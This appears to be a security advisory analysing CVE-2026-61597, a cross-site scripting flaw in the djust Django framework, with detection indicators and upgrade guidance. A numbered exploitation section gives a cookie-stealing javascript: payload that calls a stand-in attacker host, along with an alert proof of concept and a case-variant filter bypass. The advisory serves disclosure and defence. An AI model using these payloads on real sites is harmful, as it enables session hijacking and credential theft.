CVE-2026-61597: 
Python vulnerability analysis and mitigation

CVE-2026-61597 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in djust, a Phoenix LiveView-style reactive server-side rendering framework for Django. The flaw affects all versions of djust prior to 1.0.7 and stems from built-in component template tags rendering user-supplied URLs into href and action attributes without validating the URL scheme. It was first published as GHSA-4mf4-73j6-mvrw on June 22, 2026, and added to the GitHub Advisory Database on September 16, 2026. The vulnerability carries a CVSS v4.0 base score of 5.1 (Medium) (Github Advisory, Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to validate URL schemes before rendering user-supplied values into HTML href and action attributes. While the affected template tags in djust.components.templatetags.* apply Django's conditional_escape to prevent attribute breakout, this HTML-escaping is ineffective against javascript: URIs, which require no special characters to be escaped. Affected sinks include breadcrumb links (djust_components.py:1535, _advanced.py:1999,2022), navigation components (djust_components.py:5632,5779,5807,5830), citation URLs (:6936), cookie-consent privacy links (:8240), error-page actions (_advanced.py:1728), and form actions (_forms.py:1239). Notably, a docstring at djust_components.py:781 acknowledged the javascript: risk without implementing any mitigation. A proof-of-concept payload such as breadcrumb(items=[{"label":"Home","url":"javascript:alert(document.cookie)"}]) reproduces the issue, and case-variant bypasses like JaVaScRiPt: also succeed (Security Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's authenticated browser session upon clicking a malicious link rendered by an affected component. The worst-case scenario is the stored variant, where a malicious URL persisted by one user is rendered to other users, enabling session hijacking, credential theft, and unauthorized actions performed on behalf of the victim. The vulnerability's impact is conditional on developer usage — specifically, applications that pass user-controllable data to affected component tags — which limits its scope but does not eliminate risk in real-world deployments (Github Advisory, Security Advisory).

No public proof-of-concept exploit code has been published, and no in-the-wild exploitation has been reported as of the advisory date. The NVD SSVC assessment classifies exploitation as "none" and the vulnerability as non-automatable, as it requires low-level privileges (an authenticated or data-submitting user) and passive user interaction (a victim clicking a malicious link). The EPSS score is approximately 0.3–0.4%, placing it in the 33rd percentile for exploitation likelihood within 30 days. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Identify a vulnerable application: Locate a Django application using djust version < 1.0.7 that passes user-controllable data to built-in component template tags such as breadcrumbs, navigation links, forms, or error pages.
2. Craft a malicious URL payload: Prepare a javascript: URI payload, e.g., javascript:fetch('https://attacker.com/steal?c='+document.cookie). Case variants like JaVaScRiPt: can be used to bypass naive client-side filters.
3. Inject the payload: Submit the malicious URL through any application input that is stored or reflected into an affected component argument (e.g., a breadcrumb item URL, a navigation link, or a form action field).
4. Trigger execution: When a victim (ideally an authenticated user) views the page containing the rendered component and clicks the malicious link, the javascript: URI executes in their browser session.
5. Achieve objective: The executed script can exfiltrate session cookies, perform actions on behalf of the victim, or redirect the user to a phishing page (Security Advisory).

• Logs: Web server or Django application logs showing URL parameters or form fields containing javascript: (including case variants like JaVaScRiPt:, JAVASCRIPT:) submitted to endpoints that feed djust component tags.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after interacting with djust-rendered pages, potentially carrying cookie or session data in query parameters.
• Application Data: Stored records (database entries, user profiles, content fields) containing javascript: URI strings in fields intended for URLs, particularly those rendered by breadcrumb, navigation, form, or error-page components.
• Browser/Client: Unexpected JavaScript execution or redirects triggered when users click links within djust-rendered components such as breadcrumbs or navigation menus (Security Advisory).

Upgrade djust to version 1.0.7, which introduces a safe_url() helper that neutralizes non-allowlisted schemes (javascript:, vbscript:, data:) by replacing them with #, while preserving legitimate schemes (http, https, mailto, tel, relative URLs, and anchors). The fix routes all href, action, formaction, and xlink:href sinks through this helper before HTML-escaping. As a workaround for those unable to upgrade immediately, do not pass user-controllable URLs directly to affected built-in component tags; instead, pre-validate and allowlist URL schemes in application code before binding values to component arguments (Github Advisory, v1.0.7 Release).